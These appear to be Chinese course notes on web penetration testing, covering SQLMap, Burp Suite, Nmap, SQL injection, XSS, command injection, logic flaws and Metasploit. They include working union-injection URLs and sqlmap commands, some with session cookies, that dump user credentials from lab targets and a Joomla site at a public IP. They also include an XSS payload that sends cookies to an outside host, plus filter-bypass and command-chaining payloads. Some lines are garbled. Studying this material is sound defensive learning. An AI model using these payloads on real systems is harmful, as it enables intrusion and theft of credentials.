Web安全攻防

第三章 常用的渗透测试工具

Low级别基于布尔的盲注思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

判断是否有sql注入

输入1、1’ and 1=1 #、1’ and 1=2#

得到结果User ID exists in the database.可以判断存在sql注入

3.1 SQLMap

安装需要搭建python环境

官网下载SQL和python,SQL安装完成之后,复制python的安装目录,添加至环境变量中

打开cmd,输入sqlmap.py命令后即可正常运行

基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面
返回时间是否增加)来判断。
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入,可以使用union的情况下的注入
堆查询注入,可以同时执行多条语句的执行时的注入。

 打开cmd,输入sqlmap.py命令后,开始进行渗透

SQLMap入门

#判断是否存在注入
python  sqlmap.py  http://192.168.21.129/sql/Less-1/?id=1
#查询当前用户下的所有数据库
python  sqlmap.py  http://192.168.21.129/sql/Less-1/?id=1--dbs
#获取数据库的表名
python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"  -D  security  --tables
#获取表中的字段名
python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"  -D   users  --columns
#获取数据库的所有用户
python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --users
#获取数据库用户的密码
python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --passwords

#获取当前数据库的名称
python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --current-db
获取当前网站数据库的用户名称
python  sqlmap.py -u  "http://192.168.21.129/sql/Less-1/?id=1"   --current-user

python sqlmap.py http://192.168.21.129/sql/Less-1/?id=1

python sqlmap.py http://192.168.21.129/sql/Less-1/?id=1--dbs

python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" -D security --tables

python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" -D users --columns

python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" --users

python sqlmap.py -u "http://192.168.21.129/sql/Less-1/?id=1" --passwords

SQL进阶:参数详解

--level探测等级

参数-level5指需要执行的测试等级,一共有5个等级(1~5),可不加level,默

添加自己的Payload,其中5级包含的Payload最多,会自动破解出cookie、XFP等头多

注入。当然,level5的运行速度也比较慢。

这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP    cookie

在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。总之,在

不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的1evel值

参数详解

--level 5

探测等级

--is--dba

当前用户是否为管理权限

--roles

列出数据库管理员角色

--referer

HTTP Referer头

--sql-shell

运行自定义的SQL语句

--os-cmd,--os-shell

运行任意命令的操作系统

--file-read

从数据库服务器中读取文件

--file-write --file-dest

上传文件到数据库服务器中

Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对web应用程序的渗透测试和攻击。(kali上自带burpsuite抓包软件)。Burp Suite可执行程序是Java文件类型的jar文件

Burp Suite由Java语言编写,基于Java自身的跨平台性,使这款软件学习和使用来更方便。BurpSuite不像其他自动化测试工具,它需要手工配置一些参数,触些自动化流程,然后才会开始

 Burpsuite

Burp Suite是一款集成化的渗透测试工具,包含了很多功能,可以帮助我们高效地完成对web应用程序的渗透测试和攻击。(kali上自带burpsuite抓包软件)。Burp Suite可执行程序是Java文件类型的jar文件

Burp Suite由Java语言编写,基于Java自身的跨平台性,使这款软件学习和使用来更方便。BurpSuite不像其他自动化测试工具,它需要手工配置一些参数,触些自动化流程,然后才会开始工作。

1.Proxy

Burp Proxy是利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据。

Forward表示将拦截的数据包或修改后的数据包发送至服务器端。 
Drop表示丢弃当前拦截的数据包。
Interception is on表示开启拦截功能
单击后变为Interception is off,表示关闭拦截功能。
Interception is on表示开启拦截功能,单击后变为Interception is off,表示关闭拦截功能。
单击Action按钮,可以将数据包进一步发送到Spider、Scanner、Repeater Intruder等功能组件做进一步的测试,
--同时也包含改变数据包请求方式及其 body的编码等功能。

Burp有四种消息类型显示数据包:

Raw、Params、Headers和Hex。

Raw主要显示Web请求的raw格式,以纯文本的形式显示数据包
Params主要显示客户端请求的参数信息,包括GET或者POST请求的参数 cookie参数。
Headers中显示的是数据包中的信息,以名称、值、形式显示数据包
Hex对应的是Raw中信息的二进制内容,可以通过Hex编辑器对请求的内进行修改,在进行00截断时非常好用

proxy--intercept--intercept is on--hex不同的http 请求显示格式

Proxy--http history 代理抓包后的http记录


burpsuite功能模块讲解

 send  to  spider  发送爬虫软件
 DO  a  active  scan  进行一次主动扫描
 send  to  intruder发送给爆破模块
 send  to  repeater  发送给重放模块
 send  to  comparer  发送给比对模块
 send  to  decoder  发送给解码模块
 request in  browser   将请求在浏览器重放

intruder模块

 sniper单变量爆破
 battering ram放松给重放模块
 pitch fork 多变量同时爆破(无循环)
 cluster bomb多变量循环爆破(有循环)

kali在主机中抓包

添加(Add)代理端口

抓包时Proxy--intercept中的Interception is on代表开启拦截功能

火狐打开代理功能

1.火狐右上方设置通过火狐添加插件FoxyProxy

2.关闭火狐代理功能

进入dvwa靶场,设置安全系数(DVWA Security)难度系数为low,通过burpsuite获取相关信息操作

打开火狐代理功能

进入dvwa上的SQL注入(SQL Injection)id后填入相关代码

抓包成功后打开kali里的burpsuite

查看抓包获取到的信息

谷歌上开启代理功能

谷歌输入网址处输入代理端口

点击CA Certificate下载证书

设置--高级--系统--隐私设置和安全性--管理证书--导入下载上的证书

设置--高级--系统--打开计算机的代理设置--连接--局域网设置--代理服务器

下方输入相关地址和端口,点击确定

设置完kali在虚拟机里抓包

kali中输入burpsuite进入抓包程序

proxy--options添加端口设置

Proxy--intercept中的Interception is on

打开kali自带的浏览器

settings--pravicy&security--View Certificates--authorities--Import--证书

settings--General--settings--Manual proxy configurations中填入相关代理地址和端口

之后抓包就可以成功

3.3Nmap

1.nmap入门

Nmap(Network Mapper,网络映射器)是一款开放源代码的网络探测和安全申核工具。它被设计用来快速扫描大型网络,包括主机探测与发现、开放的端口情况

操作系统与应用服务指纹识别、WAF识别及常见安全漏洞。它的图形化界面是Zenmap

分布式框架为DNmap。

输入nmap可获取nmap的相关参数

Nmap特点如下:

  • 主机探测:探测网络上的主机,如列出响应的TCP和ICMP请求、ICMP请求、

开放特别端口的主机

  • 端口扫描:探测目标主机所开放的端口。
  • 版本检测:探测目标主机的网络服务,判断其服务名称和版本号
  • 系统检测:探测目标主机的操作系统及网络设备的硬性特征
  • 支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和Lua编程语言
nmap  192.168.0.100  #扫描单个主机,目标地址
nmap  192.168.0.100    192.168.0.105  #扫描多个主机
nmap  192.168.0.100-110  #扫描一个范围内目标主机
nmap  192.168.0.100/24  #扫描目标地址所在的某个网段
nmap  -iL  C:\Users\Aerfa\Desktop\targets.txt   #扫描主机列表targets.txt中的所有目标地址
nmap  192.168.0.100/24  -exclude  192.168.0.105#扫描除某个目标地址之外的所有目标地址
nmap  192.168.0.100/24  -excludefile  C:\Users\Aerfa\Desktop\targets.txt#扫描除文件中的目标地址之外的目标地址
nmap  192.168.0.100  -p  21,22,23,80 扫描某一目标地址的21,22,23,80端口
nmap  --traceroute  192.168.0.105#对目标地址进行路由跟踪
nmap  -sP  192.168.0.100/24  #扫描目标地址所在C段的在线状况
nmap  -0  192.168.0.105  #目标地址的操作系统指纹识别
nmap  -sV  192.168.0.105  #目标地址提供的服务版本检测
nmap    -sF  -T4  192.168.0.105  #探测防火墙状态

nmap 192.168.0.100

nmap 192.168.0.100/24

nmap -sF -T4 192.168.0.105

状态

含义

open

开放的,表示应用程序正在监听该端口的连接,外部可以访问

filtered

被过滤的,表示端口被防火墙或其他网络设备阻止,不能访问

closed

关闭的,表示目标主机未开启该端口

unfiltered

未被过滤的,表示Nmap无法确定端口所处状态,需进一步探测

open/filtered

开放的或过滤的,Nmap不能识别

close/filtered

关闭的或过滤的,Nmap不能识别

2.nmap进阶

Nmap的默认脚本存在/xx/nmap/scripts文件夹下

概念

Auth:负责处理鉴权证书(绕过鉴权)的脚本。
Broadcast:在局成同内探查更多服务的开启情况,如DlHCP/DNS/SQLServer。
Brute:针对常见的应用提供暴力破解方式,如HTTP/SMTP
Default使用-sC或-A选项扫描时默认的脚本,提供基本的脚木扫描能力。
Discovery:对网络进行更多信息的搜集,如SMB枚举、SNMP查询等
Dos:用于进行拒绝服务攻击。
Exploit利用已知的漏洞入侵系统。
Extenal:利用第三方的数据库或资源。例如,进行Whois解析。
Fuzzer:模糊测试脚本,发送异常的包到目标机,探测出潜在漏洞。
lntrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
Malware:探测目标机是否感染了病毒、开启后门等信息。
Safe:此类与lntrusive相反,属于安全性脚本。
Version:负责增强服务与版本扫描功能的脚本。
Vuln:负责检查目标机是否有常见漏洞,如MS08-067。

用户还可根据需要设置--script=类别进行扫描,常用参数如下所示。

-sC-script=default:使用默认的脚本进行扫描。
-script=<Lua scripts>:使用某个脚本进行扫描。
-script-args=keyl=valuel,key2=value2……:该参数用于传递脚本里的参数,keyl是参数名,该参数对应value1这个值。如有更多的参数,使用逗号连接,
-script-args-file=filename:使用文件为脚本提供参数。
一scripl-trace;如果设置该参数,则显示脚本执行过程中发送与接收的数据,
一script-updatedb:在Nmap的scripts目录里有一个script.db文件, 该文件保存了当前Nmap可用的脚本,类似于一个小型数据库,如果我们开启Nmap并调用了此参数,则Nmap会自行扫描scripts目录中的扩展脚本,进行数据库

3.实例

使用--script=auth可以对目标主机或目标主机所在的网段进行应用弱口令扫描检测

nmap  --script=auth  192.168.0.105  #鉴权扫描
nmap  --script=brute  192.168.0.105   #暴力破解攻击
nmap  --script=vuln  192.168.0.105    #扫描常见漏洞
nmap  --script=realvnc-auth -bypass  192.168.0.105  #应用服务扫描
nmap  -n  -p  445  --script=broadcast  192.168.0.105  #探测局域网内更多的服务开启的情况
nmap    -script  external  baidu.com  #利用第三方的数据库或资源查询目标地址的信息

 第四章  web安全剖析

SQL注入就是指web应用程序对用户输入数据合法没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作

下面以PHP为例

$query="SELECT * FROM users WHERE id=$_GET['id']"

由于这里的参数是可控的,且带入数据库查询,所以非法用户可以

SQL注入分为很多种:如报错注入、盲注、Union注入等

在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema” 的数据库,在该库中,读者需要记住三个表名,分别是SCHEMATA、TABLES和 COLUMNS

SCHEMATA表存储该用户创建的所有数据库的库名。

库名的字段名SCHEMA_NAME

TABLES表存储改用户创建所有数据库的库名和表名

库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME

COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名,

库名、表名和字段名的字段名为TABLE、SCHEMA、TABLE_NAME和COLUMN_NAME

SQL注入漏洞的产生需要满足的两个条件:

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。
  2. 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询

4.1SQL注入基础

1.SQL查询语句

1.MySQL查询语句 在不知道任何条件时,语句如下所示。

 #不知任何条件
 SELECT  要查询的字段名  FROM库名.表名 
 #知道一条条件时
 SELECT  要查询的字段名  FROM库名.表名
 #知道多个条件时
 SELECT  要查询的字段名  FROM库名.表名  WHERE  已知条件1的字段名=已知条件1的值  AND  已知条件2的字段名=已知条件2的值’ 

2.limit 的用法

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条 记录;n是指取n条记录。例如limit0,l表示从第一条记录开始,取一条记录

3.需要记住的几个函数

database( ):当前网站使用的数据库
version( ):当前MySQL的版本
user( ):当前MySQL的用户

4.注释符

在MySQL中,常见注释符的表达方式:#或--空格或/**/。

5.内联注释

内联注释的形式:/*!code*/。内联注释可以用于整个SQL语句中,用来执行我 们的SQL语句

index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3。

concat(str1,str2)
concat_ws(separator,str1,str2...)
group_concat(str1,str2)

sqlmap注⼊教程常⽤命令⼤全

sqlmap.py -u “注⼊地址” --dbs // 列举数据库 sqlmap.py -u “注⼊地址” --current-db // 当前数据库

sqlmap.py -u “注⼊地址” --users // 列数据库⽤户

sqlmap.py -u “注⼊地址” --current–user // 当前⽤户

sqlmap.py -u “注⼊地址” --tables -D “数据库” // 列举数据库的表名

sqlmap.py -u “注⼊地址” --columns -T “表名” -D “数据库” // 获取表的列名

sqlmap.py -u “注⼊地址” --dump -C “列名字” -T “表名字” -D “数据库” //获取数据库下表的列信息

Union注入攻击

http://192.168.21.129/sql/Less-1/?id=1

http://192.168.21.129/sql/Less-1/?id=1' and '1'='1

and 1=1为真,页面返回和id=1是一样的结果

http://192.168.21.129/sql/Less-1/?id=1' and '1'='2

and 1=1为假,页面返回和id=1是不一样的结果

http://192.168.21.129/sql/Less-1/?id=1 order by 3--+

--+可以注释前面的单引号

id=1 order by 3和id=1是一样的结果,结合下列两张图片可知,数据为第三列

2和3可以正常注入

查看版本信息

可以通过设置参数id值,让服务器返回union select的结果,把ID的值设置为-1(空),这样数据库中没有id=-1的数据,所以会返回union select的结果

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select version())--+

使用group_concat()查数据库

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+

使用database()查询数据库

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,database(),3--+

查数据库

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

查表

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)--+

查列

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(username,password) from users)--+

查数据

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select group_concat(concat_ws('~',username,password))from users)--+

一行行读数据:limit

http://192.168.21.129/sql/Less-1/?id=-1' union select 1,2,(select concat_ws('~',username,password)from users

limit 0,1)--+

joolma注入测试

Cookie,指某些网站为了辨别用户身份而储存在用户本地终端的数据。Cookie在Web应用中至关重要,用户的唯一标识session id也是存在cookie中的,利用SQLMAP对目标网站进行检测时,默认是不带cookie的,在一些情况下发出去的情球可能会被拒之门外。这时,我们需要带上cookie才能进行SQL注入检测。

目标:对joolma进行注入测试(谷歌)

(此测试可以不添加cookie值)

用burpsuite进行抓包,打开kali,在终端打开burpsuite

添加(Add)代理端口

抓包时Proxy--intercept中的Interception is on代表开启拦截功能

谷歌上开启代理功能

谷歌输入网址处输入代理端口

点击CA Certificate下载证书

设置--高级--系统--隐私设置和安全性--管理证书--导入下载上的证书

设置--高级--系统--打开计算机的代理设置--连接--局域网设置--代理服务器

代理服务器里的地址填写自己kali上开启的代理地址(Proxy--intercept中)

下方输入相关地址和端口,点击确定

打开需要测试的网站,对网站进行抓包

获得cookie值

观看老师发布的视频,获取joolma的注入URL格式

http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)

打开kali,对joolma进行注入

#查看是否存在注入点
sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"    
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964" 
#查看joolma数据库
sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"    
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"   --dbs
#查看joolma数据库中的表
sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"   
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"   -D joomla --tables
#查看joolma数据库中的列
sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"   
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"   -D joomla -T  "#__users"  --columns
#查看joolma数据库中的用户名和密码
sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"   
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"    mysql  -D  joomla  -T  "#__users"   -C  "name,password"  --dump
#查看joolma数据库中的邮箱
sqlmap  -u  "http://110.40.154.100:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)"    
--cookie="td_cookie=2591269410; 6aa9634b2a2af1ffeca15634d348fefa=b3884ff9e4a00c286743baf0ed43e964"    mysql  -D  joomla  -T  "#__users"   -C  "email"  --dump   

查注入点

查找数据库

查找数据库下面的表

查找数据库下面的列

查看数据库中的用户和密码

查看数据库中的邮箱

 SQL简单注入dvwa

在dvwa靶场进行注入,因为是登录页面,需要获取cookie值(可以通过谷歌或火狐软件进行抓包,推荐使用谷歌)在kali中使用burpsuite进行抓包

在主机中搭建sqlmap环境,在主机上进行操作,需要cookie值

开启dvwa靶场,等级调整为low,点击确定

在SQL Injection 界面的id中输入1,点击Submit,在网址处获取URL

点击F12(或右击鼠标,点击检查),

在Applicant中找到cookie属性,记录其中的cookie值

dvwa需要登录,加上cookie:

查注入点

sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch

sqlmap -u "url" --batch ,--batch是让sqlmap自动选择执行过程中出现的询问请求

成功:可看到服务器配置信息

查数据库信息

sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch --dbs

查看指定数据库并展示所有表:

sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security --tables

查看指定数据库的指定表的所有列:

sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security -T users --columns

查询指定列数据:

sqlmap.py -u “http://192.168.21.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“security=low;PHPSESSID=k7bc386n0qiu56mjegpq2a4iu1” --batch -D security -T users -C password --dump

成功注出数据。

4.2.XSS基础

1.xss介绍

XSS中文名为跨站脚本攻击,跨站脚本,缩写原本为CSS,但为了与层叠样式表缩写区分开来,所以命名为XSS

当目标网站用户浏览器渲染HTML文档的过程中,出现了非预期的脚本命令并执行时,XSS就发生了。

攻击对象为用户端

2.xss漏洞原理

反射型

  • 一般不会进入服务器
  • 特点:非持久型、参数跨站脚本作用:

调取用户的cookie或者进行钓鱼

特点:

1.主要用于将恶意代码附加到URL地址的参数中

2.只在用户单击url时触发一次,非持久化

3.常用来窃取客户端Cookies或进行钓鱼欺骗

4.常常为通过引诱用户点击一个恶意链接来实施攻击

存储型

POST提交数据,生成,读取文本模拟数据库,提交数据之后页面会将数据写入sql.txt,

提交数据之后页面时会读取sql。txt中的内容并显示在网上,实现了存储型XSS攻击模拟

当输入恶意代码,即会执行

<script>alert('xss')</script>

恶意代码会一直存储在服务器,每当用户访问该页面,即触发了恶意代码

  • 进入服务器
  • 特点:持久型、更具有危害性

作用:渗透、挂马、蠕虫病毒、钓鱼

DOM型

新型的XSS漏洞,基于dom文档对象模型,可以归属反射型XSS

可以通过JS脚本来对文档对象进行编辑从而修改页面的元素。客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM的数据并在本地执行。基于这个特征,就可以利用js脚本来实现XSS漏洞的利用

利用XSS弹出恶意警告框

<script>alert(1)</script>

网页不断刷新

<meta http-equiv='refresh' content='0'>

http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=<meta httpequiv='refresh'

Content='0'>

获得cookie

<script>window.location.href='http://118.25.14.40:8200/?cookie='+document.cookie</script>

劫持流量(跳转到你的博客强行吸粉)

<script>window.location.href="http://www.cl4y.top";</script>

DOM型注入

反射型注入

4.3XSS进阶

XSS常用的测试语句有

<script>alert(1)</script>
<img  src=x  οnerrοr=alert(1)>
<svg  οnlοad=alert(1)>
<a  href=javascript:alert(1)>

常见的XSS的绕过编码有

JS编码、HTML实体编码和HTML编码

因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。

过滤输入的数据,包括“ ’ ” “ ” ”“<”“>”“on*”对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript 编码等

XSS测试 js编码

<script>alert(1)</script>

<script>alert(document.cookie)</script>输出cookie值

如果攻击者获取到我们的cookie,在登录网站的时候,把cookie替换成我们的cookie,告诉我们进行网站登录,攻击者就可以直接获得我们的用户名和密码

<script>curl xxx.xxx.xx/alert(document.cookie)</script>访问网站cookie值,curl访问

存储型xss

恶意代码会一直存储在服务器,每当用户访问该页面,即触发了恶意代码

4.4XSS攻防

反射型XSS测试步骤总结:

1检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的 radio值或选择值

2.分别确认每个输入变量是否存在xss漏洞,变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

xss的攻防:

1.利用<>标记,构造<script>标签可执行javascript的xss代码 xss过滤函数需过滤<><script></script>等字符。

2.利用html标签属性支持javascript伪协议(支持标签属性的有hreflowsrcbgsound,background, value. action、dynsrc等),执行xss代码。 xss过函数需过滤JavaScript等关键字。

3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车。空格、tab等键,绕过对javascript的关键字的过滤。

4.利用html标签属性值支持ascii码,对标签属性值进行转码进行规则库的绕过。 xss 过滤函数需过滤&#\等字符

5.利用事件处理数,触发事件,执行xss代码。例如<imgsrc='#’οnerrοr=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

6.利用css执行javascript代码

css代码中利用expression触发xss漏洞。如下所示:<div style="width: expression(alert("xss’));>

<img src='#" style="xss:expression(alert(/xss/));">

<style>body (background-imagerexpression(alert("xss"));}</style><div style="list-style-imageourl(javascript:alert(xss'))"> css代码中利用@import触发xss<stytle>

@import "javascriptalert("XSS")';</stytle>

css代码中使用@import和link方式导入外部含有xss代码的样式表文件<link rel="stvtlesheet" href="http://www.***com/a.css">

<stytle type='text/css'>@import url(http://www.*.com/a.css);</style>

xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字。

7利用大小写混淆、使用单引号、不使用引号、使用/插入在img src中间、构造不同的全角字符、运用/**/混淆过滤规则来绕过过滤函数

8.利用字符编码。javascript支持unicode、escapes、十六进制、八进制等编码形式。

4.5CRSF漏洞

CSRF漏洞的原理

其实可以这样理解CSRF:攻击者利用目标用户的身份,以目标用户的名义执行 某些非法操作。CSRF能够做的事情包括:以目标用户的名义发送邮件、发消息,盗 取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了 目标用户的财产安全。

  • 目标网站已经登录了网站,能够执行网站的功能
  • 目标用户访问了攻击者构造的URL

4.6 SSRF漏洞

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址

 4.7 文件上传

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

编辑木马文件并上传

eval

(PHP4,PHP5,PHP7)

eval -Evaluate a string as PHP code

Descript

eval(string  $code):mixed

Evaluates the given code as PHP

Caution: the eval() language construct is very dangerous.because it allows execution of arbitrary PHP code .its use thus is discouraged.if you have carefully verified that there is no other option than to use this construct,pay special attention to pass any user provided data into it without properly validating it beforehand

 

4.7命令执行

1.介绍

暴力破解的产生是由于服务器没有做限制,导致攻击者可以通过暴力的手段破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如4位数字的验证码,那么暴力破解的范围就是0000~9999,暴力破解的关键在于字典的大小

场景1:账户检测
场景2:指定口令爆破用户名
场景3:密码爆破
1.自定义密码2.厂商特色口令生成3.加密密码暴力破解4.弱文件的后台爆破5.webshell密码爆破6.辅助功能
场景4:登录验证码爆破
1.验证码绕过2.简单验证码识别3.高模糊度验证码识别  
场景5:短信邮箱验证码爆破
场景6:短信邮箱验证码爆破
1.关键参数遍历2.批量注册
3.一套组合拳(也可关联爬虫)
场景7:爆破关联
1.数据重放-短信炸弹2.数据重放-邮箱炸弹
3.子域名爆破4.子目录,弱文件爆破

针对暴力破解漏洞的修复,笔者给出以下两点建议

  • 如果用户登录次数超过设置的阀值,则锁定账号。
  • 如果某个IP登录次数超过设置的阀值,则锁定IP

锁定IP存在的问题是:如果多个用户使用同一个IP,则会造成其他用户也不能登录

1.介绍命令执行漏洞

命令执行漏洞应用有时需要调用一些执行系统命令的函数,如PHP 中的system、exec、shell_exec、passthru、popen、 proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意 系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令 执行漏洞。简单来说就是:”靠执行脚本代码调用操作系统命令“

下面展示了常用的管道符

Windows系例支持的管道符

 “|”:直接执行后面的语句。例如:ping127.0.0.1|whoami
 “”:如果前面执行的语句执行出错,则执行后面的语句,前面的语 能为假。例如:ping2/whoami。
 “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假, 例如:ping127.0.0.1&whoami。
 “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面语句只能为真。例如:ping127.0.0.1&&whoami。 

Linux系统支持的管道符

“;”:执行完前面的语句再执行后面的。例如:ping127.0.0.1;whoami。
 “|”:显示后面语句的执行结果。例如:ping127.0.0.1|whoami。 
“Ⅱ”:当前面的语句执行出错时,执行后面的语句。例如:ping1whoami。
 “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 如:ping 127.0.0.1&whoami。 “&&”;如果前面的语句为假则直接出错,也不执行后面的,前面的语句 为真。例如:ping127.0.0.1&&whoami。

·shell命令拼接

&        &A,表示将命令A放入后台运行
&&       A&&B,表示A命令语句执行成功,然后执行B命令语句 
|        A|B,表示A命令语句的输出,作为B命令语句的输入执行 
||       A||B,表示A命令语句执行失败,然后才执行B命令语句
;        适用于Linux服务器,命令按照顺序(从左到右)被执行

 4.8逻辑漏洞

1.逻辑漏洞介绍

逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整 。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越 访问又有水平越权和垂直越权两种,如下所示。

水平越权:相同级别(权限)的用户或者同一角色中不同的用户之间,可 以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞, 可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。

垂直越权:就是不同级别之间的用户或不同角色之间用户的越权,比如普 通用户可以执行管理员才能执行的功能。 逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误

删除账户

pikachu用户转换为admin用户(admin权限高)

进入burpsuite抓包工具进行抓包

把每个包的结构分析一下,删除一个用户抓包,查看抓包数据的id

send 传入,删除相关数据

常见的逻辑漏洞

支付订单:在支付订单时,可以篡改价格为任意金额;或者可以篡改运费 或其他费用为负数,导致总金额降低。

越权访问:通过越权漏洞访问他人信息或者操纵他人账号。

重置密码:在重置密码时,存在多种逻辑漏洞,比如利用session覆盖重置 密码、短信验证码直接在返回的数据包中等。

竞争条件:竞争条件常见于多种攻击场景中,比如前面介绍的文件上传漏 洞。

越权和修复建议

·越权访问漏洞产生的主要原因是

没有对用户的身份做判断 和控制,防护这种漏洞时,可以通过session来控制。 ·例如:在用户登录成功后,讲username或uid写入到 session中,当用户查看个人信息时,从session中取出 username,而不是从GET或POST取username,那么此 时取到的username就是没有被篡改的。

第5章  Metasploit技术

Metasploit简介 Metasploit是当前信息安全与渗透测试领域最流行的术语,它完全颠覆了已有的渗透测试方式。几乎所有的系统都支持Metaspolit.本章中的示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行的第三方工具。

在使用Kali操作系统时应注意及时更新源

apt-get update#只更新软件包的索引源
apt-get  upgrade#升级系统上安装的所有软件包
apt-get  dist-upgrate:升级整个Linus系统

MSF框架有多个模块组成,各个模块及其作用如下

1.Auxiliaries:辅助模块

只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试

